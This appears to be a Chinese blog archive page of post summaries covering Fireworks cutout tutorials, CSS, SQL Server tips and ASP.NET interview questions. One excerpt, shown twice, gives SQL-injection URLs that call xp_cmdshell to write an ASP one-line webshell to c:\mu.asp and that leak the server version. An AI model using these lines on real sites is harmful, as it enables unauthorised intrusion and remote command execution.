摘要: 在数据库的学习中,要涉及到大量的数据,那么从哪里可以得到那些大量的数据呢?如果没有这些数据,又如何去学习、去实践呢?难道非要等到实际的工程中才能用到这些知识吗?可是我一直认为检验自己对某一项知识是否掌握,最重要的标准是看是否在实际中能够灵活应用。再说,在实际的工程环境中,也不允许你把理论用于实践。毕竟,如果运用的失败,会给组织带来巨大的损失。如何解决这个矛盾呢?难道就没有一些现成的数据能供自己只在学习中用吗?有人说可以边做边学,不做我认为边做边学是一种很被动的学习方式,特别是在实际项目中,因为你不知道是否你遇到的每一个实际问题,你都能解决! 阅读全文
08 2008 档案
摘要: 1.按猪的审美观,我基本算得上是个美女
2.自从两个**自称是某名牌大学的毕业生后,我现在一般都自称文盲!
3.想污染一个地方有两种方法:垃圾,或是钞票!
4.长得真有创意,活得真有勇气!
5.你可以像猪一样的生活,但你永远都不能像猪那样快乐!阅读全文
摘要: 在与头发接近的同色系的背景下扣除头发来,如下面素材图所示,在FW中本人还没有想到什么更好的办法,希望大家能够提供出更好的建议来,把这个效果搞定。我在这里只是提供素材图,教程还没有,对进来的朋友说声对不起了!阅读全文
摘要: 还是深入学习教程(七)的知识,本例中我们换一种角度来思考一下,单色背景扣非黑色头发的方法。
素材图已经在上节的作业中提供了:阅读全文
摘要: 本例中,一个鼎鼎有名的软件要闪亮登场了——knockout 2.0,一款用来扣图的专业软件!当然,最大的好消息是,这个软件是支持fw的操作环境的。也就是说,我们可以在安装的过程中,将其面向对象的那个路径选择到fw的安装目录的"Plug-in"目录下,安装完毕后,再次运行fw,即可在“滤镜”菜单下发现我们安装的knockout2.0的外挂滤镜了!
既然提到了knockout2.0,我们就先要拥有这个软件才是。阅读全文
摘要: 呵呵,标题已经够清楚了,就不再重复一次了。
我们在扣图教程(四)中,重点推荐了一种滤镜的使用——转换为Alpha,其实对于白色背景而言(如果非白色,就使用色阶滤镜来制造白色背景),使用“转换为Alpha”滤镜真的是一个比较不错的去背手段,即使头发不是黑色。本例我们就来深入探讨一下其中的关键所在。阅读全文
摘要: 因为在上一节中对于扣头发已经有了相关的介绍,本例中我们就开门见山,直接开始进入正题了。
特别提示:本例中使用到了色阶工具。目的只有一个,将非黑白背景想办法再次变成黑白背景!阅读全文
摘要: 扣头发是比较令人头疼的事情,为了便于说清楚,我将扣头发的类型分为了四类(我目前只想到了四类):
其一为:扣黑白背景效果的黑头发;其二为:扣非黑白色的接近纯色的背景效果的黑头发;其三为:扣背景色较为单一的非黑色头发;其四为:扣背景色和头发色接近的头发。个人认为这几种类型的难度系数是逐渐增大的。在接下来的几篇教程中,我会依次介绍前三种的扣图方法,至于第四种,在fw中,还没有找到较好的解决方法,留待继续研究中!阅读全文
摘要: 继续来扣图,今天状态不错,打了半天字儿,头也不晕,眼也不花,接着来学习扣婚纱啦!还是那句话,从最简单的开始,先扣单色背景的婚纱图。阅读全文
摘要: 初学FW的朋友们,如果大家认为扣图很困难的话,那就大错特错了,排除各位非要扣那些头发丝儿很明显的图的这个想法之外,大部分的扣图操作在FW中是可以胜任的。咱要知道,专业的扣图软件是为PS制作的,没有为FW准备来着,所以充分的利用FW的现有功能,处理出需要达到的效果才是关键所在啊。
阅读全文
摘要: 好久不动手写东西了,如果说得有什么不清楚的地方,大家万万海涵一下在下啊!人老了,说话难免啰嗦的,况且老I早在几年前就说我人未老,话先衰来着,呵呵,废话不多讲了,咱们还是一起来看看如何在FW中对简单背景的图片进行扣图处理吧!
阅读全文
摘要: 页头:header
登录条:loginBar
标志:logo
侧栏:sideBar
广告:banner
导航:nav
子导航:subNav
菜单:menu
子菜单:subMenu
搜索:search
滚动:scroll
页面主体:main
内容:content
标签页:tab
文章列表:list阅读全文
摘要: sql数据库放在局域网内的一台服务器上,网内的工作站可以通过查询分析器和企业管理器对这个sql数据库进行连接。
但就有那么少数几台机器连接不上这个sql数据库,用查询分析器或是企业管理器都不能,会出现超时的连接错误。但这几台机器连接其他服务器上的sql数据库又没问题,唯独连接这一个sql数据库才会有问题。阅读全文
摘要: 今天看到几篇面试相关的文章。面试是我最近想的很多的问题,有所思,有所得,从小部门面试的角度谈谈所思所得吧。
面试就是在短时间内对应聘者的经验、能力、潜力进行评估。我一般比较关注这些方面:(1)品格;(2)经验;(3)解决问题的能力;(4)技术特长;(5)潜力。面试时间一般为1小时,笔试+机试+面谈。
下面结合偶常用的一份C++/C#程序员面试题谈谈体会。
阅读全文
摘要: 最近我一直在寻找如何在web页面上显示RSS Feed的方法,我选择 C#和ASP.NET作为工具。我创建了一个简单的处理函数来处理从一个URL获得的RSS Feed。你可以直接使用这个简单的函数,或者改造成你想要的功能。阅读全文
摘要: 如见Web2.0被吵的如火如荼,同时也有很多的评论褒贬不一。有人说Web2.0就是“一帮人在看皇帝的新装而已”。也有人说Web2.0将是一场变革。无论这些争论有没有价值,但我相信,存在就有它的必然性。也许Web2.0更像是一种商业模式,一个观念的变革而非技术。阅读全文
摘要: 前言:
即是高级技巧,其它基本的注入方法就不详述了。
看不懂可查本站的注入基础文章。
为了更好的用好注入,建议大家看看本站的SQL语法相关文章阅读全文
摘要: 晨报讯 (记者 徐晶晶)一条清华新闻网被黑的消息在各大网站流传。一名黑客捏造了一篇清华大学校长顾秉林接受采访的新闻报道,批评现行教育制度。前天,清华大学新闻中心为此特别在网上发表声明,称对此黑客行为表示“强烈愤慨和谴责”。
阅读全文
摘要: 最近,经常有朋友问我一些工作中遇到的CSS问题。他们总是不能很好的控制CSS,影响CSS的效率发挥。我来分析总结一下错误所在,帮助大家更加容易使用CSS。
本文总结了我开始使用CSS布局方法以来所有的技巧和兼容方案,我愿意把这些与你分享,我会重点解释一些新手容易犯的错误(包括我自己也犯过的),如果你已经是CSS高手,这些经验技巧可能已经都知道,如果你有更多的,希望可以帮我补充。
阅读全文
摘要: 1. 打开新的窗口并传送参数: 传送参数: response.write("") 接收参数: string a = Request.QueryString("id"); string b = Request.QueryString("id1"); 阅读全文
摘要: 从开始认识CSS(DW4)那时起,我就知道了CSS的强大,但从未用CSS排版过,因为我曾经尝试过学习,但感觉太难了而且用DW的表格,所见及所得,做起页面来非常的快,排版也容易的多,由于最近求职,很多公司都要求DIV,CSS,所以我再次尝试学习。阅读全文
摘要: 一、命名
对于理解应用程序的逻辑流,命名方案是最有影响力的一种帮助。名称应该说明“什么”而不是“如何”。通过避免使用公开基础实现(它们会发生改变)的名称,可以保留简化复杂性的抽象层。例如,可以使用 GetNextStudent(),而不是 GetNextArrayElement()。
命名原则是:
选择正确名称时的困难可能表明需要进一步分析或定义项的目的。使名称足够长以便有一定的意义,并且足够短以避免冗长。唯一名称在编程上仅用于将各项区分开。表现力强的名称是为了帮助人们阅读;因此,提供人们可以理解的名称是有意义的。不过,请确保选择的名称符合适用语言的规则和标准。
以下几点是推荐的命名方法。
阅读全文
摘要: --1.给表中字段添加描述信息
CREATE table T2 (id int , name char (20))
GO
EXEC sp_addextendedproperty 'MS_Description', 'Employee ID', 'user', dbo, 'table', T2, 'column', id
EXEC sp_updateextendedproperty 'MS_Description', 'this is a test', 'user', dbo, 'table', T2, 'column', id
--2.修改数据库名称
EXEC sp_renamedb 'old_db_name', 'new_db_name'
--3.修改数据表名称和字段名称
EXEC sp_rename 'old_table_name', 'new_table_name'--修改数据表名称
EXEC sp_rename 'table_name.[old_column_name]', 'new_column_name', 'COLUMN'--修改阅读全文
摘要:
QUOTE:
1、 用^转义字符来写ASP(一句话木马)文件的方法:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^ >c:\mu.asp';--
echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
2、 显示SQL系统版本:
http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
阅读全文
QUOTE:
1、 用^转义字符来写ASP(一句话木马)文件的方法:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^ >c:\mu.asp';--
echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
2、 显示SQL系统版本:
http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
阅读全文摘要: 在A服务器中有表 table1 ,想把该表的内容导到 B服务器中,这两个数据库没联网,怎么办?
导成外部文件,再用导入导出。。。。 这太笨了吧,如果对方服务器是INTERNET上的,只能执行服本怎么办,晕死了吧,用这个存储过程来帮你。
阅读全文
摘要: -- ======================================================
--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息
--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中
-- ======================================================
SELECT
(case when a.colorder=1 then d.name else '' end)表名,
a.colorder 字段序号,
a.name 字段名,
(case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识,
(case when (SELECT count(*)
FROM sysobjects
WHERE (name in
阅读全文
摘要: 1. ORACLE
SELECT * FROM TABLE1 WHERE ROWNUM<=N
2. INFORMIX
SELECT FIRST N * FROM TABLE1
3. DB2
SELECT * ROW_NUMBER() OVER(ORDER BY COL1 DESC) AS ROWNUM WHERE ROWNUM<=N
或者
SELECT COLUMN FROM TABLE FETCH FIRST N ROWS ONLY
4. SQL SERVER
SELECT TOP N * FROM TABLE1
5. SYBASE
SET ROWCOUNT N
GO
SELECT * FROM TABLE1
阅读全文
摘要: EXECUTE sp_makewebtask @outputfile = 'D:"alcatel"20030902"check.htm',
@query = 'SELECT * FROM Eiems_temporarydata..property', @templatefile = 'D:"alcatel"20030902"check.TPL',------check.tpl文件为模板文件
@dbname = 'Eiems_temporarydata', @rowcnt = 0, @whentype = 9 ,@lastupdated = 1
GO
******************************check.TPL*******************************
阅读全文
摘要: 看了Heroman的一篇文章,谈论该不该在项目中使用存储过程代替SQL语句。看后有一些感想,因为最近工作接触到一个系统,业务过程几乎完全是用存储过程实现的。随着系统的不断发展,新的需求逐渐难以支持。这个原因当然很复杂,即使不使用存储过程,可能也有同样的问题。但是既然谈到具体技术上,就来看一下一个主要以存储过程实现的系统到底有哪些问题。
存储过程和嵌入程序中的SQL哪个更好,要用一种合理的比较方式来比,不能拿写的好的存储过程和写的烂的程序比,当然也不能拿写的烂的存储过程和写的好的程序比。我们先假设开发人员具有同样水平,项目组具有同样的组织协调能力,他们写出的存储过程和代码具有同样的质量,都已经根据产品的具体情况做出了最优的选择。
阅读全文
摘要: SQL五个集合函数:SUM,AVG,COUNT,MAX,MIN
通配符的一些用法:(关键字:like % [] -)
select * from tablename where column1 like '[A-M]%'
这样可以选择出column字段中首字母在A-M之间的记录
select * from tablename where column1 like '[ABC]%'
这样可以选择出column字段中首字母是A或者B或者C的记录
select * from tablename where column1 like '[A-CG]%'
这样可以选择出column字段中首字母在A-C之间的或者是G的记录
select * from tablename where column1 like '[^C]%'
这样可以选择出column字段中首字母不是C的记录
阅读全文
摘要: 1. 简述 private、 protected、 public、 internal 修饰符的访问权限。
答 . private : 私有成员, 在类的内部才可以访问。
protected : 保护成员,该类内部和继承类中可以访问。
public : 公共成员,完全公开,没有访问限制。
internal: 在同一命名空间内可以访问。
protected internal: 成员只能从同一程序集内的派生类访问。
2 .列举ASP.NET 页面之间传递值的几种方式。
答. 1.使用QueryString, 如....?id=1; response. Redirect()....
2.使用Session变量
3.使用Server.Transfer
3. 一列数的规则如下: 1、1、2、3、5、8、13、21、34...... 求第30位数是多少, 用递归算法实现。
答:public class MainClass
{
public static v阅读全文
摘要: 大家都在讨论关于数据库优化方面的东东,刚好参与开发了一个数据仓库方面的项目,以下的一点东西算是数据库优化方面的学习+实战的一些心得体会了,拿出来大家共享。欢迎批评指正阿!
SQL语句:
是对数据库(数据)进行操作的惟一途径;
消耗了70%~90%的数据库资源;独立于程序设计逻辑,相对于对程序源代码的优化,对SQL语句的优化在时间成本和风险上的代价都很低;
可以有不同的写法;易学,难精通。
SQL优化:
固定的SQL书写习惯,相同的查询尽量保持相同,存储过程的效率较高。
应该编写与其格式一致的语句,包括字母的大小写、标点符号、换行的位置等都要一致
阅读全文
摘要: ASP.NET页面之间传值的方法,我试过的有3种方法,现在总结如下:
注意:如果谁还知道别的方法,不妨说来,共同交流一下。
一种是通过session变量来传送相应的值,再一种是可以通过用QueryString来传送相应的值,还有就是通过Server.Transfer方法来实现。现介绍如下:
阅读全文



